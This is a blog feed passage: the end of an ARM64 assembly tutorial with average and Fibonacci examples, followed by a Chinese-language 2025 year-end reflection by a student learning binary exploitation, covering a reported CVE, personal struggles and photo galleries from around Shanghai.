&lt;p&gt;Which restores &lt;code&gt;lr&lt;/code&gt;, &lt;code&gt;fp&lt;/code&gt; and the stack before returning.&lt;/p&gt;
&lt;h3&gt;Example 1&lt;/h3&gt;
&lt;p&gt;Function form &lt;code&gt;calc_avg(ptr, count)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;where:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ptr&lt;/code&gt; is the start of the array&lt;/li&gt;
&lt;li&gt;&lt;code&gt;count&lt;/code&gt; is the number of 64 bit numbers in the array&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;mov x0, ptr
mov x1, 64
bl calc_avg

calc_avg:
    stp x29, x30, [sp, #-0x10]!
    mov x29, sp
    mov x2, xzr // sum = 0
    mov x3, x1  // original_count = count
loop:
    cbz x1, done
    ldr x4, [x0], #0x8
    add x2, x2, x4
    subs x1, x1, #0x1
    b.ne loop
done:
    sdiv x0, x2, x3
    mov sp, x29
    ldp x29, x30, [sp], #0x10
    ret
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Example 2&lt;/h3&gt;
&lt;p&gt;Function form &lt;code&gt;fib(pos)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;where:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pos&lt;/code&gt; is position in the fibonacci sequence&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// fib(0) = 0
// fib(1) = 1
// fib(n) = fib(n-1) + fib(n-2)

fib:
    stp x29, x30, [sp, #-0x10]!
    mov x29, sp
    cbz x0, .ret0       // if pos == 0, return 0
    cmp x0, #0x1
    b.eq .ret1          // if pos == 1, return 1

    mov x1, #0x0        // prev = 0x0
    mov x2, #0x1        // curr = 0x1
    mov x3, x0          // counter = pos
.loop:
    add x4, x1, x2      // next = prev + curr
    mov x1, x2          // prev = curr
    mov x2, x4          // curr = next
    subs x3, x3, #0x1
    cmp x3, #0x1
    b.gt .loop

    mov x0, x2          // return curr
    mov sp, x29
    ldp x29, x30, [sp], #0x10
    ret
.ret0:
    mov x0, xzr
    mov sp, x29
    ldp x29, x30, [sp], #0x10
    ret
.ret1:
    mov x0, #0x1
    mov sp, x29
    ldp x29, x30, [sp], #0x10
    ret
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.arm.com/architecture/learn-the-architecture/&quot;&gt;Learn the Architecture Guides&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.arm.com/documentation/102374/latest/&quot;&gt;A64 Instruction Set Architecture Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;MIPS&lt;/h1&gt;
&lt;p&gt;TODO&lt;/p&gt;
</content:encoded></item><item><title>2025 年终总结</title><link>https://cubeyond.net/posts/year-end-wrap-ups/2025-wrap-up/</link><guid isPermaLink="true">https://cubeyond.net/posts/year-end-wrap-ups/2025-wrap-up/</guid><description>今年，大概就是这么回事。</description><pubDate>Thu, 01 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;s&amp;gt;&lt;em&gt;明天是快乐星期五，好耶，又不用上课了～&lt;/em&gt;&amp;lt;/s&amp;gt;&lt;/p&gt;
&lt;h1&gt;总览 | 在不确定中持续推进&lt;/h1&gt;
&lt;p&gt;路边的银杏叶已经落得差不多了。秋天走得很安静，却也没能逃过我的眼睛。老实说，现在并没有什么写作的热情和积极性，不过也无所谓，先写着再说。没有心情也是一种心情，冬天果然是忧郁的季节。此刻，不兴奋，也谈不上什么低落，确实很难找到一个准确的词来形容当下的状态，或许是我还没准备好和这一年正式告别吧？umm... 应该不止是这样……啊，光阴你这个老吉普赛人，从不为任何人停留。&lt;/p&gt;
&lt;p&gt;按照惯例，以往&amp;lt;s&amp;gt;（其实只是去年）&amp;lt;/s&amp;gt;哪次不是一脸茫然地开始，然后写着写着就停不下来……？尽管我有种预感今年会写的很平淡，无趣，没有多少色彩。&lt;/p&gt;
&lt;p&gt;老样子，想到什么写什么，能写到哪算哪吧。就算最后只能留下几段零散的记录，那也能够反映出这一年真实的一面。起码是我想记住的那一面。&lt;/p&gt;
&lt;h1&gt;技术 | 向更深处下潜&lt;/h1&gt;
&lt;p&gt;很意外，GPT 在年度报告里给我写了一首诗：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你在汇编与堆的迷宫中穿行，&amp;lt;br /&amp;gt;
以理性的火焰点亮每次调试的黎明。&amp;lt;br /&amp;gt;
从「Flush or Be Flushed」的轻笑到「解链之诗」的回声，&amp;lt;br /&amp;gt;
你以巧思织出知识的长廊，&amp;lt;br /&amp;gt;
让每一次 exploit，都成为一首诗。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;s&gt;确实，我追求写出更优雅的 exp，不过 GPT 也就只懂这点了……&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;还给我作了一幅 pixel art, 挺好看的，只是不能保存……&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1lcam5f78a.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;开源版图&lt;/h2&gt;
&lt;p&gt;首先依旧是常规展厅，&lt;s&gt;看到下面这张图片你应该知道要怎么做（疯狂暗示）&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9kgng5b5od.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;依旧是那个喜欢造轮子的少年。因为调试没有符号表，我手搓了一个工具用于解决各种 glibc 相关的问题，但没想到搓完才发现已经有类似的工具了……功课没做好。因为课程提供的 kernel exploitation lab 不好用，我搓了一个更完善的环境……什么时候我可以做出点真正创新的东西呢？&lt;s&gt;虽然我并不是特别关心这个。&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;漏洞挖掘&lt;/h2&gt;
&lt;p&gt;一年一个 CVE 是吧，你说我运气多好（bushi&lt;/p&gt;
&lt;p&gt;如果我没记错，这个 spotify 客户端的 DoS 漏洞 &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-60939&quot;&gt;CVE-2025-60939&lt;/a&gt; 应该是今年最黑暗的那段时光即将结束的时候，捡到的意外小惊喜。这是我第一次提交的漏洞被送到 CNA 手里，还是很高兴的。不过话说 CNA 效率那么低吗，我大概是八月底上报的，到现在已经过去了快四个月了还没分析出结果嘛？虽然期间 spotify 客户端也更新了好几次，却始终未见修复这个漏洞……&lt;/p&gt;
&lt;p&gt;btw, 收到审核通过的邮件的时间是 1024，也是 GeekCon 2025，美妙的日子 :P&lt;/p&gt;
&lt;h2&gt;技术分享&lt;/h2&gt;
&lt;h3&gt;Seebug Paper&lt;/h3&gt;
&lt;p&gt;本来只是闲得没事，想给自己的博客刷点流量，就把几个月前写的文章投到了 seebug paper，但没想到居然能过，送了件体恤 lol&lt;/p&gt;
&lt;p&gt;附上链接：&lt;a href=&quot;https://paper.seebug.org/3414/&quot;&gt;https://paper.seebug.org/3414/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4ubeltl52e.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.60upufa1ni.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;RedQueen 茶话会&lt;/h3&gt;
&lt;p&gt;第一次将讲课内容分享出去，不太习惯。&lt;s&gt;我有没有当讲师的天赋？&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;iframe width=&quot;100%&quot; height=&quot;468&quot; src=&quot;//player.bilibili.com/player.html?bvid=BV1sMmzBTEEM&amp;amp;p=1&quot; scrolling=&quot;no&quot; border=&quot;0&quot; frameborder=&quot;no&quot; framespacing=&quot;0&quot; allowfullscreen=&quot;true&quot;&amp;gt; &amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;h2&gt;我好菜啊&lt;/h2&gt;
&lt;p&gt;咱也没啥远大的理想，但这个问题，五年后我会再问你一遍的，臭小子。&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8ok61thh1c.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;粗略算了一下，大概是用六个月时间把 Pwn 基本的主线内容都学完了，从栈到堆，最后是内核，这一路走来属实不易。虽然最后回望发现投入的时间好像并不是很久，但这期间发生了不少糟糕的事情——家人的否定，自己的不自信以及面对未知的恐惧，奇奇怪怪的假想敌等……我不知道有多少次曾想过放弃，放弃我所拥有的一切……但在不断的挣扎中，以及好友们的支持下，最后还是成功活了下来。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;这里还是要特别感谢一下我的大可爱 &lt;a href=&quot;https://www.vernonwu.com/&quot;&gt;vlex&lt;/a&gt;，每次年终总结都少不了的人 xD 在我每天都只能传播负能量的那段时间，依旧耐心地开导我，陪我度过了那段最黑暗的时光。没有他的帮助，我真不知道自己会走向何种极端……&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;想起刚开始学 heap 的时候，由于网上学习资料实在是太少了，散乱又无体系，根本不知道从何下手，加之学 heap 之前就听说这是一大分水岭，各种有关 heap 有多难的声音无不影响着我对它的感性认知，加重了我的恐惧……从第一次看 glibc 源码的怀疑人生，到度过一个又一个瓶颈期后发现就单纯的学 Pwn 来说其实也没有那么难，&lt;s&gt;现在我都有一套自己的速通焚诀了。&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1apgssx51a.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;难只是因为这一切都得靠自己，这条路很难有人可以，并且愿意带你的，对于大多数人来说，都只能自己摸索出一条路来。除了热爱，还需要勇气，&amp;lt;s&amp;gt;和二进制死磕一辈子的勇气，以后可能吃不上饭的勇气……&amp;lt;/s&amp;gt;其中，运气也占据了相当大一部分的比例，运气好就会少走很多弯路。&lt;/p&gt;
&lt;p&gt;我这个人还是太喜欢确定和稳定性而惧怕复杂和不确定性了，不过这些都是正常人会有的缺点吧？但暑假的那段时间我却用幼稚的二级化将自己困在简单的世界里……我本能地畏惧对于未知的不确定性，对于这些命题的分析总是浅尝辄止，轻易走向极端。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;不清楚自己是否适合又怎样，试试又怎样，失败了又怎样呢？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;虽说最后算下来只学了五个月，但是实际上期间还有六个月的 gap 期啥也没学，因为对自己大学一开始的路线规划的有问题，我一整个上半年都沉溺在某种「安稳」中，没怎么去思考。直到暑假（貌似每到放长假我都会抽风去想些奇奇怪怪的东西？）……问题逐渐暴露，我意识到自己的处境其实并不乐观。&lt;/p&gt;
&lt;p&gt;我曾经把未来看得过于简单，在这种朴素的幻想被击碎之后又陷入了严重的焦虑，从来没有对自己和自身的处境形成过客观的评估，加上那段时间还有各种各样的琐事推着我走，心态也是过山车，反复崩溃又试图用理性去掌控自己，别提多难受了……嗯……最严重的时候真想找个地方安静的死去，有段时间吃个饭连手里的筷子都握不住，每天早上一觉醒来就是一阵要完蛋的感觉&amp;lt;s&amp;gt;（奇怪的是那段时间我的睡眠质量还是可以的，并没有因为各种屁事影响到自己的睡眠……虽然精神状态极其糟糕，但我还是可以做到连续几天啥也不干，从早睡到晚，以此来逃避现实）&amp;lt;/s&amp;gt;……属于是我这辈子最黑暗的两个多月了哈哈哈。不知道以后会不会有更黑暗的时光，我的人生才刚刚开始……&lt;/p&gt;
&lt;p&gt;所以今年下半年主要就是训练的一个「抗压能力」。我最希望能够支持我的人只会否定我，多年来我一直渴望能够解决一些根本的问题，但是都已失败而告终。说来也好笑，尝试了这么多年来都没有成功过，却还抱有幻想。我希望能够开放更多的情感，现实却予以我冷漠的回应……这点估计是改不掉的，但既然我有选择允许让什么伤害自己的能力，也就自然有选择拒绝哪些伤害的能力。可能有些事情现在确实做不到，那就不要有不切实际的期待了，努力去改变吧。也就是我，吃了那么多蜇还不长一智……鉴定为，笨猪（&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一味的善良并没有任何实质性的作用，必须优先考虑「自身利益」。守住初心，记住你为什么而做这些、为什么而活，就不会迷失。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;真是应了那句屠龙者终成恶龙。有时候会想，从某方面来说，感觉还是活成了自己所不喜欢的样子？或许只是因为目前的能力还不够支撑起自己的理想主义吧。但还是希望我能永远坚守理想，有关我的信仰、我的追求、所向往的一切等等……希望我可以永远守护好那颗「少年的心」。&lt;/p&gt;
&lt;p&gt;老实说，我觉得自己的热血，以及激情其实都不如从前高昂。一方面可能是深入后，要学的东西越来越难了，一个概念可能都要琢磨好几天，又没人帮，天天给自己找虐，很难有持续的激情，变懒也是再正常不过的了；另一方面，我感觉经过一个暑假的高强度不间断猛烈精神打击，我对自己的要求多少没以前那么高了，就算最后只能做一个普通人，那也没啥大不了的。接受自己的平庸，也是人生中的一堂必修课。而我，很高兴能提早上到这堂课。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;历经千帆才知平凡，碌碌无为那叫平庸。&amp;lt;br /&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;「一切不能杀死我的，都将使我更加强大。」我当然是向前的，但有的时候也会瞎想，能力越来越强后，能打击到自己的困难也会越来越……令人难以接受？不知道怎么形容，但应该是超越过往任何一段黑暗时光的存在？我不知道，不过这个想法可能是错误的吧。but who care ?&lt;/p&gt;
&lt;p&gt;有关学 Pwn 的坎坷之路，还有点别的小故事，不想写了……说多了都是泪（&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;若是美好，叫做精彩，若是糟糕，叫做经历。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;所以我今年最伟大的成就就是，活着；做出最庆幸的选择就是，坚持。&lt;/p&gt;
&lt;h1&gt;生活切面｜慢下来的一部分&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;曾经在幽幽暗暗反反复复中追问，才知道平平淡淡从从容容才是真。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;或许是我太懒了，也可能是我的 memos 太多了，加上最近好像实在么的什么心情写年终总结……&lt;/p&gt;
&lt;p&gt;&lt;s&gt;有个 memos 就是好，想记的当场就记下了，直接把回忆 archive（bushi&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;这块儿我就随便放点我认为今年拍的还不错的照片好了，当然，实际上可能并不怎么样就是了/颓废&lt;/p&gt;
&lt;h2&gt;这辈子收到的第一份礼物&lt;/h2&gt;
&lt;p&gt;Vlex 承包我这辈子收到的所有礼物 &lt;em&gt;&amp;gt;_&amp;lt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;这好像是我人生中第一次收到礼物吧哈哈哈，带着美好的祝福开启了 25 年的征程。&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8ok61scmzk.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8ok61scn01.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;朵云书院&lt;/h2&gt;
&lt;p&gt;去年就想去了，但是今年才去成。看了下这号称是上海最高的图书馆，感觉也就那样，纯打卡景点，没啥东西。&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8s3rzibedk.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2vf7shuveq.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2obzx28pyv.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;人生中第一次吃自助（&lt;/h2&gt;
&lt;p&gt;这辈子第一次吃自助也是在今年……毁了，怎么感觉我的生活那么无聊……&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4n86nee8b8.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8hgy6cw68c.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;文化自由&lt;/h2&gt;
&lt;p&gt;雀舌是真的好喝 :P&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6bhjkqjgqb.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6ikrg0qnx7.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;龙华寺&lt;/h2&gt;
&lt;p&gt;25 年的第一次追日落是从逛龙华寺开始的，虽然那天根本就没看成日落……&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.iclbb13v1.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1sfihmj36i.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1vz4fcc5wi.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7p42omzm5v.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3rbp7yolj0.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2rvlusludh.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2obzx2srnu.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.pft6qn9ce.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.64ebp62eqb.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2a5k67kgt7.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;上师大瞎逛&lt;/h2&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.102mzwt0y8.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4xv0gl41lk.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2obzx3jb46.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2ksdzdq8eb.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;来了就把周边都逛逛，一个也别想跑 xD&lt;/p&gt;
&lt;p&gt;&lt;s&gt;你不许问我为什么偷拍人家结婚照（&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1lcam7nh6g.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6wr76x9jv1.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5xb3tr6spi.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1vz4fd2pcy.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3621lokooa.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.60uprgzvg7.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.60uprgzvgf.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7zqwhth1x9.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;想看的，一个都不许落下&lt;/h2&gt;
&lt;p&gt;看日落是去年就立下的 flag 了，但是你可知我今年看了几场日落（&lt;/p&gt;
&lt;p&gt;龙华是第一次，但是那次没拍到理想的日落，于是接下来连续几周我每周都去一次滨江大道，而这，是第五次 LMAO&lt;/p&gt;
&lt;p&gt;至于今年到底看了几回日落，仅仅是五次吗？我觉得可能不止……&lt;/p&gt;
&lt;p&gt;感觉自己是个大笨蛋，不过是看个日落罢了……&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2dp63yjxae.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.b9dfwlc8y.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7pri6s9ib.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;因为手机拍不清对岸的风景，然后一顿瞎折腾，意外发现不对焦拍出来的模糊效果也很好看 LOL&lt;/p&gt;
&lt;p&gt;顺便还把北极星拍进去了，这算是我今年最满意的照片之一了。&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4jokpqbl0t.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.eszdmeeye.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7eh8viqrss.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;暮春&lt;/h2&gt;
&lt;p&gt;回忆回忆……嗯，是在世纪公园拍的。今年也去了好几次世纪公园，不过初看感觉很大，实际上体验并不佳。&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9gx1jl9k71.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1ziqd3vtr8.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5xb3ts6uf9.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1vz4fe2r1u.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;樱花节&lt;/h2&gt;
&lt;p&gt;顾村公园是真的大，逛了整整一天都没逛完，明年再去。&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;gallery&quot;&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2yytqaa07e.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7eh8vjmehx.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2dp63zfjzi.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8ok61v4dsk.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5q7vycw4b3.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8adqazw2xn.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3rbp80qm1h.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2h8s1p8mo6.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.60upribcfv.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1vz4fee6cy.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.83aifk9xgr.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2ksdzf1pfa.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.41yj165u67.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9kgnhbe26u.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1ziqd47958.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
